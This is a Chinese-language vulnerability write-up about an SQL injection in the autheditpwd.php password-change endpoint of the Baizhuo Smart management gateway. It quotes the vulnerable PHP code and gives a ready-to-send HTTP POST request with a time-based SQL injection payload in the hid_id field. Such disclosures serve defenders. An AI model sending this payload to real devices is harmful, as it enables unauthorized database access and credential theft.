漏洞简介
百卓Smart管理平台是北京百卓网络技术有限公司(以下简称百卓网络)的一款安全网关产品,是一家致力于构建下一代安全互联网的高科技企业。百卓Smart管理平台 autheditpwd.php 接口处存在SQL注入漏洞,攻击者除了可以利用SQL注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
漏洞分析
先看今天主角 autheditpwd.php 业务逻辑实现代码
<?php
if(isset($_GET['id'])) $get_id = $_GET['id'];
if(isset($_POST['mode'])) $post_mode = $_POST['mode'];
if($post_mode == "edit")
{
conn();
$post_id = $_POST['hid_id'];
$post_oldpwd = $_POST['oldpwd'];
$sql = "select * from tb_web_accounts where id = $post_id and user_pwd = '$post_oldpwd'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num < 1) //没有记录
{
alert("原密码不对","autheditpwd.php?id=$post_id");
exit();
}
$post_pwd = $_POST['pwd'];
$sql = "update tb_web_accounts set user_pwd = $post_pwd where id = $post_id";
$result = mysql_query($sql);
if(!$result)
{
alert("修改失败!","autheditpwd.php?id=$post_id");
exit();
}
alert_close("修改成功!");
}
一眼丁真!$post_id存在SQL注入漏洞。
$post_id是直接拼接进SQL语句中,从而造成SQL注入漏洞。
要想进入此逻辑也简单,只需要 $post_mode 等于 edit 即可!开干!
漏洞复现
POST /autheditpwd.php HTTP/1.1
Host: smart.mrxn.net
Content-Type: application/x-www-form-urlencoded
oldpwd=1&pwd=1&confirmpwd=1&mode=edit&hid_id=(select*from(select(sleep(4)))a)
PS: D-link某款上网行为审计网关也是这套OEM!


